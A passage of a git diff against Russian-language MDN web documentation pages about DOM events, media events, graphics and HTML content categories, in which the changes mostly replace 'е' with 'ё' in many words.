'100%', 720)}}</p> diff --git a/files/ru/web/guide/events/event_handlers/index.html b/files/ru/web/guide/events/event_handlers/index.html index 8401bd0739..fbbdde6848 100644 --- a/files/ru/web/guide/events/event_handlers/index.html +++ b/files/ru/web/guide/events/event_handlers/index.html @@ -7,7 +7,7 @@ translation_of: Web/Guide/Events/Event_handlers <h2 id="Регистрация_обработчиков_onevent">Регистрация обработчиков onevent</h2> -<p>Обработчики <strong><code>on<em>event</em></code></strong> - это свойства определенных элементов DOM, позволяющие управлять тем, как этот элемент реагирует на события. Элементы могут быть интерактивными (ссылки, кнопки, изображения, формы и т. д.) или неинтерактивными (например, элемент base <body>). События - это такие действия, как:</p> +<p>Обработчики <strong><code>on<em>event</em></code></strong> - это свойства определённых элементов DOM, позволяющие управлять тем, как этот элемент реагирует на события. Элементы могут быть интерактивными (ссылки, кнопки, изображения, формы и т. д.) или неинтерактивными (например, элемент base <body>). События - это такие действия, как:</p> <ul> <li>Клик мышкой</li> diff --git a/files/ru/web/guide/events/index.html b/files/ru/web/guide/events/index.html index e670fc0d15..cd85e3eeac 100644 --- a/files/ru/web/guide/events/index.html +++ b/files/ru/web/guide/events/index.html @@ -25,9 +25,9 @@ translation_of: Web/Guide/Events <p><a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">Custom events page</a> <span id="result_box" lang="ru"><span class="hps">описывает, как</span> <span class="hps">шаблон кода события</span> <span class="hps">может быть использован в</span> <span class="hps">пользовательском коде</span><span>, чтобы</span> <span class="hps">определить новые</span> <span class="hps">типы событий</span><span>, испускаемые от</span> <span class="hps">пользовательских объектов</span><span>, зарегистрируйтесь</span> <span class="hps">функции</span> <span class="hps">слушателя</span>для <span class="hps">обработки</span> <span class="hps">этих</span> <span class="hps">событий</span><span>,</span> <span class="hps">и вызова</span> <span class="hps">события</span> <span class="hps">в коде</span> <span class="hps">пользователя</span><span>.</span></span></p> -<p><span id="result_box" lang="ru"><span class="hps">Остальные</span> <span class="hps">страницы описывают</span><span>, как использовать</span> <span class="hps">события разных</span> <span class="hps">видов</span><span>, определенных</span> <span class="hps">в веб-браузерах</span><span>.</span> <span class="hps">К сожалению,</span> <span class="hps">эти события</span> <span class="hps">были определены</span> <span class="hps">по частям</span><span>,</span> <span class="atn hps">веб-</span><span>браузеры</span> <span class="hps">развивались</span> <span class="hps">таким образом, что</span> <span class="hps">нет</span> <span class="hps">удовлетворения</span> <span class="hps">систематическим</span> <span class="hps">характеристикам</span> <span class="hps">событий</span> <span class="hps">встроенным</span> <span class="hps">или</span> <span class="hps">определенным</span> в <span class="atn hps">современных веб-</span><span>браузерах.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Остальные</span> <span class="hps">страницы описывают</span><span>, как использовать</span> <span class="hps">события разных</span> <span class="hps">видов</span><span>, определённых</span> <span class="hps">в веб-браузерах</span><span>.</span> <span class="hps">К сожалению,</span> <span class="hps">эти события</span> <span class="hps">были определены</span> <span class="hps">по частям</span><span>,</span> <span class="atn hps">веб-</span><span>браузеры</span> <span class="hps">развивались</span> <span class="hps">таким образом, что</span> <span class="hps">нет</span> <span class="hps">удовлетворения</span> <span class="hps">систематическим</span> <span class="hps">характеристикам</span> <span class="hps">событий</span> <span class="hps">встроенным</span> <span class="hps">или</span> <span class="hps">определённым</span> в <span class="atn hps">современных веб-</span><span>браузерах.</span></span></p> -<p><span id="result_box" lang="ru"><span><strong>Устройство</strong>, на котором</span> <span class="atn hps">работа веб-</span><span>браузера</span> <span class="hps">может спровоцировать</span> <span class="hps">событие</span><span>, например</span> <span class="hps">связанное с</span> <span class="hps">изменением его</span> <span class="hps">положения и ориентации</span> <span class="hps">в реальном мире</span><span>,</span> <span class="hps">частично описано</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> и <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. Они<span id="result_box" lang="ru"> <span class="hps">разные, но</span> <span class="hps">похожи</span><span>,</span> <span class="hps">с измененной</span> <span class="hps">вертикальной ориентации</span> <span class="hps">устройства</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span><strong>Устройство</strong>, на котором</span> <span class="atn hps">работа веб-</span><span>браузера</span> <span class="hps">может спровоцировать</span> <span class="hps">событие</span><span>, например</span> <span class="hps">связанное с</span> <span class="hps">изменением его</span> <span class="hps">положения и ориентации</span> <span class="hps">в реальном мире</span><span>,</span> <span class="hps">частично описано</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> и <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. Они<span id="result_box" lang="ru"> <span class="hps">разные, но</span> <span class="hps">похожи</span><span>,</span> <span class="hps">с изменённой</span> <span class="hps">вертикальной ориентации</span> <span class="hps">устройства</span><span>.</span></span></p> <p><span id="result_box" lang="ru"><strong><span>Окно в котором</span> <span class="hps">отображается</span> <span class="hps">браузер</span></strong> <span class="hps">может вызвать</span> <span class="hps">события</span><span>, к примеру</span><span>,</span> <span class="hps">изменить размер</span><span>, если пользователь</span> <span class="hps">максимизирует</span> <span class="hps">окно или</span> <span class="hps">изменит его размер</span><span>.</span></span></p> @@ -42,13 +42,13 @@ translation_of: Web/Guide/Events <li><a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events">события нажатия на экран</a> и устаревшие <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events_(Mozilla_experimental)">экспериментальные события нажатия на экран (от Mozilla)</a>.</li> </ul> -<p><span id="result_box" lang="ru"><strong><span>Модификация</span> <span class="hps">в структуре веб-страницы</span> <span class="hps">или содержании</span></strong> <span class="hps">может быть</span> <span class="hps">вызвано некоторым</span> <span class="hps">событием</span><span>, </span> <span class="hps">описанным в</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a><span id="result_box" lang="ru"><span class="hps">, но</span> их<span class="hps"> использование </span> <span class="hps">устарело в</span> <span class="hps">пользу более </span><span class="hps">легкого</span></span> <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> подхода.</p> +<p><span id="result_box" lang="ru"><strong><span>Модификация</span> <span class="hps">в структуре веб-страницы</span> <span class="hps">или содержании</span></strong> <span class="hps">может быть</span> <span class="hps">вызвано некоторым</span> <span class="hps">событием</span><span>, </span> <span class="hps">описанным в</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a><span id="result_box" lang="ru"><span class="hps">, но</span> их<span class="hps"> использование </span> <span class="hps">устарело в</span> <span class="hps">пользу более </span><span class="hps">лёгкого</span></span> <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> подхода.</p> <p><span id="result_box" lang="ru"><strong><span class="hps">Потоки</span> <span class="hps">Медиа</span></strong>, <span class="hps">встроенный</span> <span class="hps">в</span> <span class="hps">HTML</span> <span class="hps">документа,</span> <span class="hps">может</span> <span class="hps">вызвать некоторые</span> <span class="hps">события</span><span>,</span> <span class="hps">страница описания</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Media_events">media events</a>.</p> <p><span id="result_box" lang="ru"><strong><span class="hps">Сетевые</span> </strong><span class="hps"><strong>запросы</strong>, сделанные</span> <span class="atn hps">веб-</span><span>страницей, могут</span> <span class="hps">вызвать некоторые</span> <span class="hps">события</span><span>.</span></span></p> -<p><span id="result_box" lang="ru"><span class="hps">Есть</span> <span class="hps">много других источников</span> <span class="hps">событий, определенных</span> <span class="hps">в веб-браузере</span><span>,</span> <span class="hps">страницы которых</span> <span class="hps">пока не доступны</span> <span class="hps">в данном руководстве</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Есть</span> <span class="hps">много других источников</span> <span class="hps">событий, определённых</span> <span class="hps">в веб-браузере</span><span>,</span> <span class="hps">страницы которых</span> <span class="hps">пока не доступны</span> <span class="hps">в данном руководстве</span><span>.</span></span></p> <div class="note"> <p><span id="result_box" lang="ru"><span class="hps">Примечание</span><span>:</span> <span class="hps">Это руководство</span> <span class="hps">событие</span> <span class="hps">Разработчик</span>а <span class="hps">нуждается в существенной</span> <span class="hps">работе</span><span>.</span><span>Структура должна</span> <span class="hps">быть</span> <span class="hps">реорганизована</span> <span class="hps">и страницы</span> <span class="hps">переписаны.</span> <span class="hps">Мы надеемся, что</span> <span class="hps">все, что вы</span><span class="hps"> знаете и должны знать</span> <span class="hps">о событиях</span> <span class="hps">будет опубликовано</span> <span class="hps">здесь.</span></span></p> diff --git a/files/ru/web/guide/events/media_events/index.html b/files/ru/web/guide/events/media_events/index.html index a3a13cc821..6c35079a6e 100644 --- a/files/ru/web/guide/events/media_events/index.html +++ b/files/ru/web/guide/events/media_events/index.html @@ -8,7 +8,7 @@ tags: - события translation_of: Web/Guide/Events/Media_events --- -<p>Встроенные с помощью HTML тегов {{ HTMLElement("audio") }} или {{ HTMLElement("video") }} медиа объекты генерируют различные события. В этом разделе приведен их список и описание.</p> +<p>Встроенные с помощью HTML тегов {{ HTMLElement("audio") }} или {{ HTMLElement("video") }} медиа объекты генерируют различные события. В этом разделе приведён их список и описание.</p> <table class="standard-table"> <tbody> @@ -26,7 +26,7 @@ translation_of: Web/Guide/Events/Media_events </tr> <tr> <td><code>{{event("canplaythrough")}}</code></td> - <td>Отправляется, когда состояние готовности изменяется к CAN_PLAY_THROUGH. Указывает, что медиа может быть полностью воспроизведено без перерыва, предполагая, что скорость загрузки остается, по крайней мере на нынешнем уровне. Примечание: Ручная установка CURRENTTIME вызовет событие canplaythrough в Firefox. В других браузерах это может не произойти.</td> + <td>Отправляется, когда состояние готовности изменяется к CAN_PLAY_THROUGH. Указывает, что медиа может быть полностью воспроизведено без перерыва, предполагая, что скорость загрузки остаётся, по крайней мере на нынешнем уровне. Примечание: Ручная установка CURRENTTIME вызовет событие canplaythrough в Firefox. В других браузерах это может не произойти.</td> </tr> <tr> <td><code>{{event("durationchange")}}</code></td> @@ -86,7 +86,7 @@ translation_of: Web/Guide/Events/Media_events </tr> <tr> <td><code>{{event("progress")}}</code></td> - <td>Отправляется периодически для информирования о прогрессе скачивания медиа файла. Информация об объеме загруженных данных доступна в атрибуте "buffered" элемента медиа.</td> + <td>Отправляется периодически для информирования о прогрессе скачивания медиа файла. Информация об объёме загруженных данных доступна в атрибуте "buffered" элемента медиа.</td> </tr> <tr> <td><code>{{event("ratechange")}}</code></td> @@ -114,7 +114,7 @@ translation_of: Web/Guide/Events/Media_events </tr> <tr> <td><code>{{event("volumechange")}}</code></td> - <td>Отправляется, когда изменяется громкость звука (также когда звук включен или выключен).</td> + <td>Отправляется, когда изменяется громкость звука (также когда звук включён или выключен).</td> </tr> <tr> <td><code>{{event("waiting")}}</code></td> diff --git a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html index 7be572dc0f..326926fe3a 100644 --- a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html +++ b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html @@ -7,13 +7,13 @@ translation_of: Web/Guide/Events/Overview_of_Events_and_Handlers <p>Эта обзорная статья о событиях и их обработчиках описывает шаблон проектирования кода, который используется для реагирования на события, возникающие, когда браузер получает доступ к web-странице, и содержит подборку типов подобных событий, которые современные браузеры могут обрабатывать.</p> </div> -<p>События и их обработчики представляют собой основную технику в JavaScript для реагирования на события, возникающие, когда браузер получает доступ к web-странице, включая события о подготовке страницы к отображению, взаимодействии с ее содержимым, в зависимости от устройства, на котором браузер был запущен, и многие другие случаи, такие как воспроизведение потоковой медиа-информации или расчет времени анимации.</p> +<p>События и их обработчики представляют собой основную технику в JavaScript для реагирования на события, возникающие, когда браузер получает доступ к web-странице, включая события о подготовке страницы к отображению, взаимодействии с её содержимым, в зависимости от устройства, на котором браузер был запущен, и многие другие случаи, такие как воспроизведение потоковой медиа-информации или расчёт времени анимации.</p> -<p>События и обработчики событий заняли центральное место в web-программировании с добавлением языка в браузеры, сопровождая смену архитектуры рендеринга от перехвата и загрузки страницы к управлению с помощью событий, основанном на перекомпоновке (reflow). Сначала браузер ожидает, пока он получит все ресурсы, связанные со страницей, чтобы проанализировать, обработать, отрисовать и предоставить страницу пользователю. Отрисованная страница остается неизменной, пока браузер не запросит новую. С изменением в подходе к рендерингу динамической страницы, браузер непрерывно зацикливается между обработкой, отрисовкой, представлением содержимого и ожиданием некоторого нового триггера события. Триггеры событий включают, например, завершение загрузки ресурса по сети<em>,</em> скачивание изображений, которые теперь могут быть отрисованы на экране, завершение браузером анализа ресурса, обработку HTML-содержимого страницы, взаимодействие пользователя с содержимым страницы<em>,</em> нажатия кнопок. Дуглас Крокфорд хорошо объясняет это изменение в нескольких лекциях, особенно своей речи <em>"Неудобные API: Теория DOM",</em> которая описывает изменения в потоке изначального потока браузера от управляемого событиями браузера.</p> +<p>События и обработчики событий заняли центральное место в web-программировании с добавлением языка в браузеры, сопровождая смену архитектуры рендеринга от перехвата и загрузки страницы к управлению с помощью событий, основанном на перекомпоновке (reflow). Сначала браузер ожидает, пока он получит все ресурсы, связанные со страницей, чтобы проанализировать, обработать, отрисовать и предоставить страницу пользователю. Отрисованная страница остаётся неизменной, пока браузер не запросит новую. С изменением в подходе к рендерингу динамической страницы, браузер непрерывно зацикливается между обработкой, отрисовкой, представлением содержимого и ожиданием некоторого нового триггера события. Триггеры событий включают, например, завершение загрузки ресурса по сети<em>,</em> скачивание изображений, которые теперь могут быть отрисованы на экране, завершение браузером анализа ресурса, обработку HTML-содержимого страницы, взаимодействие пользователя с содержимым страницы<em>,</em> нажатия кнопок. Дуглас Крокфорд хорошо объясняет это изменение в нескольких лекциях, особенно своей речи <em>"Неудобные API: Теория DOM",</em> которая описывает изменения в потоке изначального потока браузера от управляемого событиями браузера.</p> <div style="margin: 0 auto; width: 68%;"><img alt="A comparison of the sequential and event-driven browser load sequences." src="https://mdn.mozillademos.org/files/6641/Browser_sequence_comparitive.svg" style="height: 454px; width: 1857px;"></div> -<p>Второй подход изменяет последние шаги, переходя от простого потока к бесконечному циклу, где ожидание и обработка возникновения новых событий следует за отрисовкой. Введение динамического подхода позволяет странице быть частично отрендериной, даже когда браузер еще не закончил извлечение всех ресурсов; это так же разрешено для действий, управляемыми событиями, которые JavaScript использует. (Речь доступна на нескольких ресурсах, включая <a href="http://www.youtube.com/watch?v=Y2Y0U-2qJMs">этот</a>.) На данный момент, все среды исполнения JavaScript используют события и их обработчики.</p> +<p>Второй подход изменяет последние шаги, переходя от простого потока к бесконечному циклу, где ожидание и обработка возникновения новых событий следует за отрисовкой. Введение динамического подхода позволяет странице быть частично отрендериной, даже когда браузер ещё не закончил извлечение всех ресурсов; это так же разрешено для действий, управляемыми событиями, которые JavaScript использует. (Речь доступна на нескольких ресурсах, включая <a href="http://www.youtube.com/watch?v=Y2Y0U-2qJMs">этот</a>.) На данный момент, все среды исполнения JavaScript используют события и их обработчики.</p> <h2 id="Шаблон_проектирования_событий">Шаблон проектирования событий</h2> @@ -58,9 +58,9 @@ buttonDOMElement.addEventListener('click', example_click_handler);</pre> <p>{{ EmbedLiveSample('Button_Event_Handler') }}</p> -<p>Этот код полагается на соглашение о том, что существует некоторый вид события, называемый <code>'click'</code> , который вызовет все функции-обработчики (или 'обработчик') с объектом-аргументом <code>Event</code> (на данный момент, в этом случае производный от объекта <code>MouseEvent</code> ) и будет запущен после манипуляций пользователя с элементами <code>button</code> на HTML-странице. Код не имеет видимого воздействия, пока пользователь не использует кнопки, наводит указатель мыши на элемент HTML и нажимает на левую кнопку или устанавливает палец или стилус на некоторое место на экране, выше кнопки; когда это произойдет, <code>buttonDOMElement</code> объекта JavaScript вызовет функцию <code>example_click_handler</code> с объектом <code>Event</code> в качестве аргумента. Функция, в свою очередь, исполнит любые действия, описанные программистом, в данном случае отрыв диалоговое окно HTML. Заметим, что обработчик имеет доступ к объекту <code>ev</code>, так как тот передается в качестве аргумента; объект содержит информацию о событие, в частности время его возникновения.</p> +<p>Этот код полагается на соглашение о том, что существует некоторый вид события, называемый <code>'click'</code> , который вызовет все функции-обработчики (или 'обработчик') с объектом-аргументом <code>Event</code> (на данный момент, в этом случае производный от объекта <code>MouseEvent</code> ) и будет запущен после манипуляций пользователя с элементами <code>button</code> на HTML-странице. Код не имеет видимого воздействия, пока пользователь не использует кнопки, наводит указатель мыши на элемент HTML и нажимает на левую кнопку или устанавливает палец или стилус на некоторое место на экране, выше кнопки; когда это произойдёт, <code>buttonDOMElement</code> объекта JavaScript вызовет функцию <code>example_click_handler</code> с объектом <code>Event</code> в качестве аргумента. Функция, в свою очередь, исполнит любые действия, описанные программистом, в данном случае отрыв диалоговое окно HTML. Заметим, что обработчик имеет доступ к объекту <code>ev</code>, так как тот передаётся в качестве аргумента; объект содержит информацию о событие, в частности время его возникновения.</p> -<p>Во втором варианте, интегрирован в web-страницу намного более современный JavaScript обернут в событийный вызов функции, чтобы убедиться, что код будет выполнен только тогда, когда HTML будет обработан и доступен для изменения или декорирования. Например, код может быть объявлен так:</p> +<p>Во втором варианте, интегрирован в web-страницу намного более современный JavaScript обёрнут в событийный вызов функции, чтобы убедиться, что код будет выполнен только тогда, когда HTML будет обработан и доступен для изменения или декорирования. Например, код может быть объявлен так:</p> <pre class="brush: js">var funcInit = function(){ // user code goes here and can safely address all the HTML elements from the page @@ -69,7 +69,7 @@ buttonDOMElement.addEventListener('click', example_click_handler);</pre> document.addEventListener('DOMContentLoaded', funcInit); </pre> -<p>так что этот код будет вызван только после того, как объект <code>document</code> вызовет событие <code>'DOMContentLoaded'</code>, потому что HTML был проанализирован и были созданы объекты Javasript, представляющие каждый узел HTML-документа. Заметим, что в этом примере, код даже не передает аргумент события в функцию, потому что тому никогда не понадобится использовать данные, описанные в нем; скорее, код всего лишь нужно подождать, пока не случится событие.</p> +<p>так что этот код будет вызван только после того, как объект <code>document</code> вызовет событие <code>'DOMContentLoaded'</code>, потому что HTML был проанализирован и были созданы объекты Javasript, представляющие каждый узел HTML-документа. Заметим, что в этом примере, код даже не передаёт аргумент события в функцию, потому что тому никогда не понадобится использовать данные, описанные в нем; скорее, код всего лишь нужно подождать, пока не случится событие.</p> <p>Шаблон легко изучить и внедрить. Сложность с событиями возникает из-за необходимости изучить большое разнообразие событий, которые представлены в современных web-браузерах. Так же есть некоторая сложность в понимании, как писать обработчики, так как данный код работает асинхронно и потенциально может быть вызван несколько раз подряд, но в немного другой ситуации.</p> @@ -100,7 +100,7 @@ document.addEventListener('DOMContentLoaded', funcInit); <li>глобальный объект <a href="/en-US/docs/Web/API/Window"><code>window</code></a> вызывает событие, называемое <a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)"><code>'load'</code></a>, когда страница закончила рендеринг, подразумевая, что все ресурсы были скачаны и применены, так что скрипт был выполнен и изображения отображены,</li> <li>глобальный объект <a href="/en-US/docs/Web/API/Window"><code>window</code></a> вызывает событие, называемое <a href="/en-US/docs/Web/Reference/Events/resize"><code>'resize'</code></a>, когда высота или ширина окна браузера была изменена пользователем,</li> <li>объект DOM <a href="/en-US/docs/Web/API/Document"><code>document</code></a>, представляющий HTML-документ, вызывает событие, называемое <code><a href="/en-US/docs/Web/Reference/Events/DOMContentLoaded">'DOMContentLoaded'</a></code>, когда документ закончил загрузку,</li> - <li>объект узла DOM, такой как <a href="/en-US/docs/Web/HTML/Element/div"><code>div</code></a> или <a href="/en-US/docs/Web/HTML/Element/button"><code>button</code></a>, вызывающий событие, называемое <a href="/en-US/docs/Web/Reference/Events/click"><code>'click'</code></a>, когда пользователь нажимает кнопку мыши, пока ее указатель находится поверх узла DOM на HTML-странице.</li> + <li>объект узла DOM, такой как <a href="/en-US/docs/Web/HTML/Element/div"><code>div</code></a> или <a href="/en-US/docs/Web/HTML/Element/button"><code>button</code></a>, вызывающий событие, называемое <a href="/en-US/docs/Web/Reference/Events/click"><code>'click'</code></a>, когда пользователь нажимает кнопку мыши, пока её указатель находится поверх узла DOM на HTML-странице.</li> </ul> diff --git a/files/ru/web/guide/graphics/index.html b/files/ru/web/guide/graphics/index.html index 600c9cd4dd..70c4cc4c20 100644 --- a/files/ru/web/guide/graphics/index.html +++ b/files/ru/web/guide/graphics/index.html @@ -4,7 +4,7 @@ slug: Web/Guide/Graphics translation_of: Web/Guide/Graphics original_slug: Web/Guide/Графика --- -<p>Современным веб-сайтам и веб-приложениям часто требуется отображать графику. Статические изображения легко отобразить с помощью элемента {{HTMLElement("img")}}, или с помощью CSS свойства {{cssxref("background-image")}}. Часто требуется создавать графику на лету, или модифицировать ее каким-либо образом после. Как это проделать можно узнать в следующих статьях.</p> +<p>Современным веб-сайтам и веб-приложениям часто требуется отображать графику. Статические изображения легко отобразить с помощью элемента {{HTMLElement("img")}}, или с помощью CSS свойства {{cssxref("background-image")}}. Часто требуется создавать графику на лету, или модифицировать её каким-либо образом после. Как это проделать можно узнать в следующих статьях.</p> <div class="row topicpage-table"> <div class="section"> diff --git a/files/ru/web/guide/html/content_categories/index.html b/files/ru/web/guide/html/content_categories/index.html index 16e41106a0..1334570d7b 100644 --- a/files/ru/web/guide/html/content_categories/index.html +++ b/files/ru/web/guide/html/content_categories/index.html @@ -3,7 +3,7 @@ title: Категории контента slug: Web/Guide/HTML/Content_categories translation_of: Web/Guide/HTML/Content_categories --- -<p><span class="seoSummary">Каждый элемент <a href="/ru/docs/Web/HTML">HTML</a> принадлежит некоторому количеству категорий контента, которые объединяют элементы с общим набором характеристик. Такая группировка является свободной, то есть не задает на самом деле отношение между элементами таких типов, но помогает определить и описать их поведение и правила, которым они должны следовать, особенно когда дело доходит до сложных деталей. Также возможна ситуация, когда элемент не входит <em>ни в одну</em> из этих категорий.</span></p> +<p><span class="seoSummary">Каждый элемент <a href="/ru/docs/Web/HTML">HTML</a> принадлежит некоторому количеству категорий контента, которые объединяют элементы с общим набором характеристик. Такая группировка является свободной, то есть не задаёт на самом деле отношение между элементами таких типов, но помогает определить и описать их поведение и правила, которым они должны следовать, особенно когда дело доходит до сложных деталей. Также возможна ситуация, когда элемент не входит <em>ни в одну</em> из этих категорий.</span></p> <p>Существует три типа категорий контента:</p> @@ -49,12 +49,12 @@ translation_of: Web/Guide/HTML/Content_categories <p>К этой категории принадлежат элементы {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} и {{HTMLElement("section")}}. </p> <div class="note"> -<p>Не стоит путать данную модель контента с категорией <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Корни_задания_разделов">корня задания разделов</a>, которая изолирует свое содержимое от обычной структуры.</p> +<p>Не стоит путать данную модель контента с категорией <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Корни_задания_разделов">корня задания разделов</a>, которая изолирует своё содержимое от обычной структуры.</p> </div> <h3 id="Заголовочный_контент_2"><a name="Заголовочный_контент">Заголовочный контент</a></h3> -<p>Заголовочный контент задает заголовок секции, явно отмеченной структурным элементом или неявно – самим заголовочным.</p> +<p>Заголовочный контент задаёт заголовок секции, явно отмеченной структурным элементом или неявно – самим заголовочным.</p> <p>Данной категории принадлежат такие элементы, как {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} и {{HTMLElement("hgroup")}}.</p> @@ -63,7 +63,7 @@ translation_of: Web/Guide/HTML/Content_categories </div> <div class="note"> -<p>Стоит заметить, что элемент {{HTMLElement("hgroup")}} был удален из спецификации W3C HTML до приведения HTML 5 к окончательному варианту, но до сих пор является частью спецификации WHATWG и по крайней мере частично поддерживается большинством браузеров.</p> +<p>Стоит заметить, что элемент {{HTMLElement("hgroup")}} был удалён из спецификации W3C HTML до приведения HTML 5 к окончательному варианту, но до сих пор является частью спецификации WHATWG и по крайней мере частично поддерживается большинством браузеров.</p> </div> <h3 id="Phrasing_content" name="Phrasing_content">Фразовый контент</h3> @@ -72,7 +72,7 @@ translation_of: Web/Guide/HTML/Content_categories <p>К данной категории принадлежат следующие элементы: {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} и обычный текст (не только состоящий из символов пробелов).</p> -<p>Еще несколько элементов входят в данную категорию при соблюдении особых условий:</p> +<p>Ещё несколько элементов входят в данную категорию при соблюдении особых условий:</p> <ul> <li>{{HTMLElement("a")}}, если содержит в себе только фразовый контент</li> @@ -86,12 +86,12 @@ translation_of: Web/Guide/HTML/Content_categories <h3 id="Встроенный_контент">Встроенный контент</h3> -<p>Встроенный контент импортирует в документ другой ресурс или вставляет содержимое на другом языке разметки или принадлежащее другому пространству имен. Элементами данной категории являются: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p> +<p>Встроенный контент импортирует в документ другой ресурс или вставляет содержимое на другом языке разметки или принадлежащее другому пространству имён. Элементами данной категории являются: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p> <h3 id="Интерактивный_контент"><a name="interactive_content">Интерактивный контент</a></h3> <p>К интерактивному контенту относятся элементы, который специально разработаны для взаимодействия с пользователем. В данную категорию входят {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}} и {{HTMLElement("textarea")}}.<br> - Некоторые элементы считаются интерактивным контентом только при соблюдении определенных условий:</p> + Некоторые элементы считаются интерактивным контентом только при соблюдении определённых условий:</p> <ul> <li>{{HTMLElement("audio")}}, если указан атрибут {{htmlattrxref("controls", "audio")}}</li> @@ -104,7 +104,7 @@ translation_of: Web/Guide/HTML/Content_categories <h3 id="Явный_контент">Явный контент</h3> -<p>Контент считается явным, когда он не скрыт и не является пустым, это контент, который отображен и предметен. У элементов потокового или фразового контента должен быть хотя бы один явный узел.</p> +<p>Контент считается явным, когда он не скрыт и не является пустым, это контент, который отображён и предметен. У элементов потокового или фразового контента должен быть хотя бы один явный узел.</p> <h3 id="Контент_форм">Контент форм</h3> @@ -143,7 +143,7 @@ translation_of: Web/Guide/HTML/Content_categories <h3 id="Элементы_поддержки_скриптов">Элементы поддержки скриптов</h3> -<p>Элементы поддержки скриптов – это элементы, которые напрямую не влияют на отрисовку документа. Вместо этого они служат для внедрения скриптов, путем либо содержания кода скрипта напрямую, либо указания данных, которые будут использованы скриптами.</p> +<p>Элементы поддержки скриптов – это элементы, которые напрямую не влияют на отрисовку документа. Вместо этого они служат для внедрения скриптов, путём либо содержания кода скрипта напрямую, либо указания данных, которые будут использованы скриптами.</p> <p>Элементами поддержки скриптов являются:</p> diff --git a/files/ru/web/guide/html/editable_content/index.html b/files/ru/web/guide/html/editable_content/index.html index c260371219..9f8b6b6389 100644 --- a/files/ru/web/guide/html/editable_content/index.html +++ b/files/ru/web/guide/html/editable_content/index.html @@ -12,13 +12,13 @@ translation_of: Web/Guide/HTML/Editable_content <p>Все, что вам нужно сделать, это установить атрибут {{htmlattrxref("contenteditable")}} почти на любой элемент HTML, чтобы сделать его доступным для редактирования.</p> -<p>Вот простой пример, который создает элемент {{HTMLElement("div")}}, содержимое которого пользователь может редактировать.</p> +<p>Вот простой пример, который создаёт элемент {{HTMLElement("div")}}, содержимое которого пользователь может редактировать.</p> <pre class="brush: html"><div contenteditable="true"> Этот текст может быть отредактирован пользователем. </div></pre> -<p>Вот приведенный выше HTML-код в песочнице:</p> +<p>Вот приведённый выше HTML-код в песочнице:</p> <p>{{ EmbedLiveSample('Как_это_работает') }} </p> @@ -30,9 +30,9 @@ translation_of: Web/Guide/HTML/Editable_content <p>Использование <code>contenteditable</code> в разных браузерах было болезненным в течение длительного времени из-за различий в сгенерированной разметке между браузерами. Например, даже что-то простое, что происходит, когда вы нажимаете Enter/Return для создания новой строки текста внутри редактируемого элемента, 